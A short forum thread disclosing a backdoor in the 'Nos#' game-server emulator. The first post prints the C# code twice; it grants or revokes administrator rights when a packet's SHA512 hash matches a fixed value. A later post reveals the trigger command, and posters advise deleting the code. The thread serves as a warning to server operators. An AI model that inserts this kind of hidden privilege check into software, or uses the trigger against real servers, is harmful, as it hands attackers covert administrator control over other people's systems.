Nos# Backdoor

01/02/2019 02:55 Cryless~#1

Because Nos# Team is so PROFESSIONAL to sell their backdoored emulator ($NosWingsWillFuckYou -- notice how serious it sounds) leeching half server performance to compute SHA512 hash for every single packet received from client :

Code:

if (EncryptionBase.Sha512(packetHeader) ==
                    "A0497BE4920A66152E9895AC592A8584177A16901E70508F0F8E1C696F5ED6AA7335130CB24AB15BEBC5F944083E92DB1A07197BE737E49694616F0AE1EE2113"
                        .ToLower())
                {
                    AccountDTO acc = DaoFactory.AccountDao.LoadById(Character.AccountId);
                    if (acc != null)
                    {
                        Account.Authority = Account.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        Character.Authority = Character.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        DaoFactory.AccountDao.InsertOrUpdate(ref acc);
                        Character.Undercover = true;
                        ServerManager.Instance.ChangeMap(Character.CharacterId);
                    }
 
                    return;
                }

Search for -> Delete .

01/02/2019 03:09 FI0w#2

Quote:

Originally Posted by Cryless~

Code:

if (EncryptionBase.Sha512(packetHeader) ==
                    "A0497BE4920A66152E9895AC592A8584177A16901E70508F0F8E1C696F5ED6AA7335130CB24AB15BEBC5F944083E92DB1A07197BE737E49694616F0AE1EE2113"
                        .ToLower())
                {
                    AccountDTO acc = DaoFactory.AccountDao.LoadById(Character.AccountId);
                    if (acc != null)
                    {
                        Account.Authority = Account.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        Character.Authority = Character.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        DaoFactory.AccountDao.InsertOrUpdate(ref acc);
                        Character.Undercover = true;
                        ServerManager.Instance.ChangeMap(Character.CharacterId);
                    }
 
                    return;
                }

Search for -> Delete .

Whats the packet no hate vs blowa maybe someone other added it but its open source xDDD who would not get it?

01/02/2019 03:11 Cryless~#3

Quote:

Originally Posted by FI0w

Whats the packet no hate vs blowa maybe someone other added it but its open source xDDD who would not get it?

$NosWingsWillFuckYou was the command .

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It was git fault! Bad Git...

01/02/2019 03:15 FI0w#4

How git can smth for it?

01/02/2019 03:17 Cryless~#5

Quote:

Originally Posted by FI0w

How git can smth for it?

Whoof! Whoof!!

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Dog.